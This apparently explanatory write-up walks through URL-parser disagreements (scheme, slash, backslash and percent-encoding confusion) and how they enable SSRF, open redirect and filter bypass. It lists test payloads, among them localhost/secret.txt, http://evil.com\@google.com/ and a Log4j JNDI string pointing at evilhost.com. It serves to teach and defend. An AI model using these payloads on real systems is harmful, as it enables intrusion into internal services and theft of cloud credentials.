The path says which specific resource on the server you want. It looks like the simplest part, but it changed the most over the years. In RFC 1738 and RFC 1808 the path depended entirely on the scheme. Generally it was printable characters describing a directory route to a file. The only reserved characters were semicolon (;), forward slash (/) and question mark (?), reserved for protocol-specific settings. The semicolon, for example, was used in FTP to pass a type code:

Text
Url_path = <cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>

Line by line:

  • <cwd1>/<cwd2>/.../<cwdN> is a chain of directory names.
  • <name> is the file name.
  • ;type=<typecode> is a parameter telling the FTP server what kind of file it is.

RFC 2396 changed how a path is built:

Text
path = [ abs_path | opaque_part ]
path_segments = segment *( "/" segment )
segment = *pchar *( ";" param )
param = *pchar
pchar = unreserved | escaped |
":" | "@" | "&" | "=" | "+" | "$" | ","

Line by line:

  • A path is either an absolute path or an opaque part (a blob with no internal structure).
  • A path is made of segments separated by /.
  • Each segment can carry parameters after a ;.
  • A parameter is made of the same characters as a segment.
  • pchar lists the characters allowed inside: unreserved characters, escaped (percent-encoded) characters, and the listed symbols.

The RFC explains it in words:

The path may consist of a sequence of path segments separated by a single slash "/" character. Within a path segment, the characters "/", ";", "=", and "?" are reserved. Each path segment may include a sequence of parameters, indicated by the semicolon ";" character. The parameters are not significant to the parsing of relative references.

In plain words: a path is a series of segments separated by single slashes, and each segment can carry its own parameters after a semicolon. Those parameters do not affect how relative links are resolved.

RFC 3986, which came soon after, removed support for URL parameters and returned the path to protocol-specific parsing. FTP kept its parameters; HTTP still did not support them:

Text
path = path-abempty ; begins with "/" or is empty
/ path-absolute ; begins with "/" but not "//"
/ path-noscheme ; begins with a non-colon segment
/ path-rootless ; begins with a segment
/ path-empty ; zero characters
path-abempty = *( "/" segment )
path-absolute = "/" [ segment-nz *( "/" segment ) ]
path-noscheme = segment-nz-nc *( "/" segment )
path-rootless = segment-nz *( "/" segment )
path-empty = 0<pchar>
segment = *pchar
segment-nz = 1*pchar
segment-nz-nc = 1*( unreserved / pct-encoded / sub-delims / "@" )
; non-zero-length segment without any colon ":"
pchar = unreserved / pct-encoded / sub-delims / ":" / "@"

Line by line:

  • A path can be one of five shapes: starting with /, starting with / but not //, starting with a segment that has no colon, starting with any segment, or empty.
  • path-abempty is zero or more /segment pieces.
  • path-absolute starts with / and may be followed by more segments.
  • path-noscheme starts with a segment that contains no colon.
  • path-rootless starts with a segment.
  • path-empty is zero characters.
  • segment is zero or more allowed characters; segment-nz is at least one; segment-nz-nc is at least one but with no colon.
  • pchar lists the allowed characters: unreserved, percent-encoded, sub-delimiters, colon and @.

The query

The query is extra information passed to the resource, usually as key-value pairs. In a search URL, the query is what you typed. RFC 3986 says the query starts at the first question mark (?) and ends at a number sign (#) or the end of the URL. Inside a query, the characters ;, /, ?, :, @, &, =, +, , and $ are reserved, and if used they get URL-encoded. The query has not changed much over the years.

The fragment

The fragment is the last part. It points to a second resource inside the first one, such as a section of a page. It starts at a number sign (#) and runs to the end of the URL. In a browser, the fragment is normally not sent to the server; it is used by the browser itself. That is why the Log4j bypass was so surprising: one parser treated # as the start of a fragment, the other did not.

Why the same characters cause trouble

Over 25 years the URL rules changed a lot, and parsers were supposed to change with them. Doing that while staying compatible with old behaviour is hard. On top of that, many parts of a URL reuse the same reserved characters. The colon (:), for example, marks the scheme, separates username from password, and separates host from port. When the same character means three things depending on context, parsers can split the URL in the wrong place.

Relative references

URLs are hierarchical, so a relative reference is a URL that is understood relative to another one. If you have a base URL such as http://www.example.com and you give the parser /foo/bar, it can combine them into http://www.example.com/foo/bar. The parser needs the base URL to know what the relative one means. RFC 3986 defines three kinds:

  • Network-path reference: begins with //, e.g. //example.com
  • Absolute-path reference: begins with /, e.g. /path/foo/bar
  • Relative-path reference: does not begin with /, e.g. path/foo/bar

The last two need a full absolute URL to resolve against. The network-path reference only needs a scheme: //example.com becomes http://example.com if the parser knows it should use HTTP. That is exactly what a browser does when it fetches a network-path reference: it fills in the default scheme. This has security implications, because a value that looks like a harmless relative link can turn into a request to a completely different server.

The WHATWG rulebook

The WHATWG tried to write an updated, true-to-life URL specification and parsing method. It is not very different from RFC 3986, but the small differences matter. One example: RFC 3986 treats backslash (\) and forward slash (/) as different characters. A forward slash separates parts of a path; a backslash has no special meaning. WHATWG says backslashes should be converted to forward slashes and then treated the same, largely because most browsers already behave that way.

When WHATWG published its Living standard, it broke compatibility with some existing behaviour that libraries relied on. That is one of the main reasons many library maintainers stick to RFC 3986. WHATWG tries to stay closer to how the real web behaves, but real life has endless edge cases, so gaps remain. Daniel Stenberg keeps a comparison of RFC 3986, WHATWG and real parsers in his GitHub repository.

URL Component Interop issues (RFC vs WHATWG) Examples
scheme NO
divider YES / vs. \
userinfo YES Multiple @ in the authority component
hostname YES Supported character-set and IP representation
port number YES Valid port range
path YES Supported character-set
query UNKNOWN
fragment UNKNOWN

In plain words: the scheme is agreed on, but the divider, userinfo, hostname, port and path all have known differences between the two rulebooks. For query and fragment the differences are not yet known. Most browsers follow WHATWG because it is more forgiving of human error, which fits a browser's goal of working even when the URL is malformed.

The five kinds of confusion

After reviewing the RFCs, the researchers examined URL parsers to find inputs that produce wrong or unexpected results. They looked at 15 libraries, fetchers and browsers written in different languages and grouped the disagreements into five categories:

  • Scheme Confusion: URLs with a missing or malformed scheme.
  • Slash Confusion: URLs with an irregular number of slashes.
  • Backslash Confusion: URLs containing backslashes (\).
  • URL Encoded Data Confusion: URLs containing percent-encoded data.
  • Scheme Mixup: parsing a URL of one scheme without a parser specific to that scheme.

URL syntax is complex, and non-standard input produces many edge cases. RFCs try to define as much as possible, but there will always be cases where it is unclear what should happen. So these inconsistencies are not necessarily bugs in the code; they are often just different choices about ambiguous cases.

Scheme confusion

Almost every parser gets confused when the scheme is missing. RFC 3986 says the scheme is the only mandatory part, while earlier RFCs did not say that, so parsers built to different rules disagree. Four Python libraries were given this input:

Text
google.com/abc

Line by line:

  • google.com looks like a host name.
  • /abc looks like a path.
  • There is no http:// in front, so there is no scheme.

Most parsers said the host was empty and the whole google.com/abc was the path. urllib3 said the host was google.com and the path was /abc. httptools said the URL was invalid. Almost no parser parses this successfully, because it does not follow the RFC. But when you try to fetch it, some parsers fill in a default scheme and fetch google.com correctly. cURL, for example, treats the malformed URL as if it had a default scheme.

Why this matters: an attacker can use a missing scheme to slip past a check that blocks certain hosts, such as [redacted] (the local machine) or [redacted] (a special address used by cloud servers to expose metadata, which can contain credentials). The check sees no host and lets it through; the fetcher fills in the scheme and reaches the blocked host.

The report shows a vulnerable code pattern. The server does not allow requests to the local machine. It validates the received URL with urlsplit and compares the netloc (host) to a blacklist containing localhost and [redacted]. If the netloc matches, it throws an exception and does not fetch.

When the input is:

Text
localhost/secret.txt

Line by line:

  • localhost is the local machine.
  • /secret.txt is a file on it.
  • There is no scheme.

urlsplit parses this as having no netloc, so the blacklist check returns "False" and no exception is thrown. Then urllib3 reads the same URL as valid, adds a default HTTP scheme, and fetches the blacklisted localhost. The check and the fetch disagreed, and the secret file was fetched.

Slash confusion

This one is about an unusual number of slashes in the authority part. RFC 3986 says the authority starts after the scheme with :// and continues until the end of the line or a delimiter. The delimiters are a slash (start of path), a question mark (start of query) or a hash (start of fragment). If a parser does not follow this exactly, results differ. Consider:

Text
http:///google.com/

Line by line:

  • http is the scheme.
  • : is the separator.
  • /// is three slashes instead of the usual two.
  • google.com is the host name.
  • / at the end is a path.

Most parsers read this as having no host, with /google.com as the path, which is what RFC 3986 says should happen. Adding more slashes gives the same result, just with more slashes in the path. The same happens if a slash is missing after the scheme. The reason is that parsers look for // to mark the start of the authority, then stop at the next delimiter, and a slash is a delimiter. With three slashes, the third slash immediately ends an empty authority. With one slash, the parser never finds // at all, so the authority stays empty.

Other parsers ignore extra or missing slashes, at least to a degree, and accept the malformed URL. Most of these are non-programmatic parsers, meaning tools a person uses directly, like a browser, rather than a library called from code. Google Chrome and most modern browsers simply ignore extra slashes and treat the URL as if it were written correctly. A request made from inside a browser using JavaScript's fetch function, with many extra slashes, was fulfilled and the resource was fetched.

cURL also accepts malformed URLs to a degree: one extra slash or one missing slash is accepted, but four or more extra slashes are refused. This is documented by cURL. cURL does not blindly follow WHATWG; it appears to follow RFC 3986 and extend it for real-world cases, such as URLs without a scheme like example.com instead of http://example.com.

Why this matters: imagine a website that fetches resources for users. That feature could be abused for SSRF, server-side request forgery, where an attacker makes the server send requests to places the attacker cannot reach directly, such as internal machines. To prevent this, the site validates the URL and blocks certain hostnames. The report shows example code doing exactly that. Because urlsplit does not ignore extra slashes, it reads a URL with an extra slash as having an empty authority, so the check comparing the netloc to google.com passes. But cURL ignores the extra slash and fetches the URL as if it had two slashes, reaching the blocked host. The validation is bypassed and SSRF is possible.

Backslash confusion

This one is about backslashes (\) used where slashes (/) belong. RFC 3986 says a backslash is a completely different character and should not be treated as a slash, so https://google.com and https:\\google.com are different and should parse differently. Most programmatic parsers follow the RFC and keep them separate. The parsing result of http:\\google.com reflects that.

But Chrome, and most other browsers, treat the backslash as a regular slash. An HTTP response that tells the browser to redirect to https:\\www.google.com through the Location header, using backslashes instead of slashes, is followed as if the backslashes were slashes. The Location header is the part of an HTTP response that tells the browser where to go next. Taking it further, when both slashes and backslashes are mixed, the browser still accepts the URL: a response redirecting to https:ֿ/\www.google.com through Location, using both kinds, is still accepted. This happens because most browsers follow WHATWG, which says backslashes should be treated like forward slashes.

Another example is inside urllib3's regular expressions for parsing URLs. A regular expression is a pattern used to match text. urllib3 uses a backslash as a delimiter for the authority part. If the authority contains a backslash, urllib3 splits there and uses only the part before the backslash as the authority, putting the rest into the path. That creates attack scenarios where an attacker uses a backslash to make different parsers see different hosts.

One example is this URL:

Text
http://evil.com\@google.com/

Line by line:

  • http is the scheme.
  • evil.com is a host name.
  • \ is a backslash.
  • @ separates userinfo from host.
  • google.com is another host name.
  • / is a path.

Following the latest RFC, a backslash has no special meaning in the authority, so the authority is:

Text
Authority = [ userinfo "@" ] host [ ":" port ]
Authority = [ evil.com\ "@" ] google.com

Line by line:

  • The first line is the general shape of an authority.
  • The second line fills it in: evil.com\ is the userinfo, and google.com is the host.

So the host is google.com, and evil.com\ is just the userinfo. Most parsers confirm this. But urllib3 treats the backslash as a delimiter, so it reads evil.com as the host. And because the Python requests library uses urllib3 as its main parser (while still using urllib's urlparse and urlsplit in other cases), the malicious URL is parsed by urllib3's parse_url, which returns evil.com as the host, and requests sends a GET request to evil.com. In both cases the parser concluded evil.com was the host, because it accepted a backslash as a delimiter. An attacker can use this to bypass validations that see google.com while the request goes to evil.com.

URL-encoded data confusion

URL encoding is a way to write characters that are not printable, or that have special meaning, as a percent sign (%) followed by two hex digits. For example, a space becomes %20. This lets non-printable characters travel inside a URL as plain text, and it also protects against attacks such as CRLF injection (injecting line breaks to split a message) and NULL byte injection (injecting a zero byte to truncate a string). Printable characters can also be encoded, and that is where the confusion comes from.

RFC 3986 says every part of a URL except the scheme can be percent-encoded and should be decoded when parsed. Many parsers decode the path but not the host, even though the RFC says they should. The researchers tested cURL, which did not decode the host. They reported it to Daniel Stenberg, who considered it a bug and fixed it in the latest cURL version. When given a URL with percent-encoded printable characters, most parsers returned the encoded form rather than decoding it. Parsers given a URL-encoded form of http://google.com returned a URL-encoded result.

That might look like the expected result, but something interesting happens when you try to fetch it. The researchers used urllib's urlopen and requests, two of Python's most common URL fetchers. Both actually decoded the URL and fetched it. A fetch using both urllib and requests, with the URL-encoded form of http://[redacted], was fulfilled in both cases and the resource was fetched. So a validator that sees the encoded string may think it is harmless, while the fetcher decodes it and reaches the local machine.

Scheme mixup

The fifth category is parsing a URL of one scheme without a parser specific to that scheme. The report names it as one of the five categories but does not explain it further.

Exploiting the confusion

Clearance open redirect (CVE-2021-23435)

Clearance is a Ruby library (CVE-2021-23435). The report's table of contents places the Clearance open redirect vulnerability (CVE-2021-23435) under "Exploiting URL Confusion Vulnerabilities", followed by the question "But isn't the browser the real culprit?". An open redirect is a flaw where a site can be made to send a user to any address an attacker chooses, which is useful for phishing because the link starts on a trusted site. The report does not include the request, payload or code for this case in the text available here.

Belledonne's Linphone SIP stack denial of service (CVE-2021-33056)

Belledonne's SIP stack is written in C (CVE-2021-33056). SIP is the protocol used to set up voice and video calls, and a stack is the collection of code that implements a protocol. The report's table of contents places the denial of service vulnerability (CVE-2021-33056) under the same exploitation section. A denial of service is a flaw that makes a service stop working, for example by crashing it.

The root cause

The root cause is that URL parsing is not uniform. Libraries follow different RFCs and the WHATWG standard, and they handle edge cases differently: missing schemes, extra or missing slashes, backslashes, percent-encoded characters. When an application validates a URL with one parser and fetches it with another, the two can disagree about which host is being addressed. The Log4j bypass is the clearest example: Java's URI class extracted [redacted] from ${jndi:ldap://[redacted]#.evilhost.com:1389/a}, which passed the allowedLdapHost whitelist, while the fetch path on certain operating systems, mainly macOS, and in specific configurations requested [redacted]#.evilhost.com. The same pattern appears in the Python examples: urlsplit sees no netloc in localhost/secret.txt or in a URL with an extra slash, while urllib3 or cURL resolves it to the blocked host. Existing defences fail because they are applied by a different parser from the one that performs the request, and because the validation assumes the parser's view matches the fetcher's view.

Impact

The inconsistencies translate into five classes of vulnerabilities: SSRF, XSS, open redirect, filter bypass and DoS. XSS, cross-site scripting, is when an attacker gets their own script to run inside another user's browser on a trusted site. A filter bypass is getting past a check that was meant to block something. In some cases these can be exploited further to achieve remote code execution. The Log4j bypass allowed a JNDI lookup to load a remote class despite the localhost whitelist, on certain operating systems, mainly macOS, and in specific configurations. The Python examples allow bypassing host blacklists such as localhost and [redacted], and the report notes attackers could similarly target cloud instance metadata such as [redacted]. and the backslash example lets an attacker make requests to evil.com while a validator sees google.com. The eight vulnerabilities are in web applications and third-party libraries written in Python, C, JavaScript, PHP and Ruby.

The fix

The cURL host-decoding behaviour was reported to Daniel Stenberg, who considered it a bug and fixed it in the latest cURL version. For the rest, the recommendations are:

  1. Try to use as few different parsers as possible. Using one parser consistently avoids disagreements between validation and fetching.
  2. Transfer a parsed URL across microservice environments. A microservice is a small service that does one job and talks to other services. Pass the already-parsed URL rather than the raw string, so each service does not re-parse it differently.
  3. Understand differences in parsers involved with application business logic. Know which parser validates and which fetches, and how each treats edge cases.
  4. Always canonicalise the URL before parsing. To canonicalise means to rewrite something into a single standard form, so the parser sees one consistent version.

Variants to test

  • Missing scheme: send google.com/abc or localhost/secret.txt to an endpoint that validates with one parser and fetches with another. A positive result is the validator seeing an empty host while the fetcher resolves the blocked host.
  • Extra or missing slashes: send http:///google.com/ or a URL with one slash after the scheme. A positive result is a validator that sees an empty authority while cURL or a browser fetches the intended host, or a fetcher that rejects four or more extra slashes.
  • Backslashes: send http://evil.com\@google.com/. A positive result is a validator that sees google.com as the host while urllib3 or requests fetches evil.com.
  • Backslash redirects: return a Location header containing https:\\www.google.com or https:ֿ/\www.google.com. A positive result is a browser following the redirect as if the backslashes were slashes.
  • URL-encoded hosts: send a URL-encoded form of http://google.com or http://[redacted]. A positive result is a parser that returns the encoded form while urllib's urlopen or requests decodes it and fetches the resource.
  • Fragment in the authority: send a URL such as ${jndi:ldap://[redacted]#.evilhost.com:1389/a} to a validator that extracts the host with one parser and fetches with another. A positive result is the validator seeing [redacted] while the fetcher requests [redacted]#.evilhost.com, on the affected operating systems and configurations.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • Authority (netloc): the part of a URL that names the server, optionally with userinfo and port.
  • Blacklist: a list of things that are blocked.
  • Canonicalise: rewrite something into a single standard form.
  • CRLF injection: inserting line-break characters into input to split a message and inject extra content.
  • CVE: a public catalogue number for a known security vulnerability.
  • Denial of service (DoS): a flaw that makes a service stop working, for example by crashing it.
  • Deprecated: officially discouraged and scheduled to be removed.
  • Fragment: the part of a URL after #, pointing to a place inside the resource; normally not sent to the server.
  • FTP: File Transfer Protocol, an older protocol for moving files.
  • Host: the server name or IP address in a URL.
  • HTTP: the protocol browsers and servers use to exchange web pages and data.
  • HTTPS: HTTP with encryption.
  • IETF: the Internet Engineering Task Force, which publishes RFCs.
  • JNDI: Java Naming and Directory Interface, a Java feature for looking things up by name, including loading remote code.
  • LDAP: a directory service protocol, used here as the channel for a JNDI lookup.
  • Log: a running record of what a program did.
  • Log4j: a widely used Java library for writing logs.
  • Microservice: a small service that does one job and talks to other services.
  • NULL byte injection: inserting a zero byte into input to truncate a string.
  • Open redirect: a flaw where a site can be made to send a user to any address an attacker chooses.
  • Parser: software that reads text and breaks it into structured parts.
  • Path: the part of a URL that names the specific resource on the server.
  • Payload: the crafted input an attacker sends to trigger a flaw.
  • Percent-encoding (URL encoding): writing characters as % followed by two hex digits.
  • Port: a numbered door on a server that a protocol connects to.
  • Query: extra key-value information passed in a URL after ?.
  • Regular expression: a pattern used to match text.
  • Relative reference: a URL understood relative to another URL.
  • Remote code execution (RCE): running attacker-chosen code on someone else's machine.
  • RFC: a numbered public document from the IETF defining how part of the internet works.
  • Scheme: the protocol part of a URL, such as http or https.
  • SIP: the protocol used to set up voice and video calls.
  • Specification: a written rulebook for how something should work.
  • SSRF (server-side request forgery): making a server send requests to places the attacker cannot reach directly.
  • Stack: the collection of code that implements a protocol.
  • URL: the address of something on the internet.
  • Userinfo: the optional username and password part of a URL authority.
  • WHATWG: the Web Hypertext Application Technology Working Group, which publishes the Living URL standard.
  • Whitelist: a list of things that are allowed, with everything else refused.
  • XSS (cross-site scripting): getting attacker script to run inside another user's browser on a trusted site.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.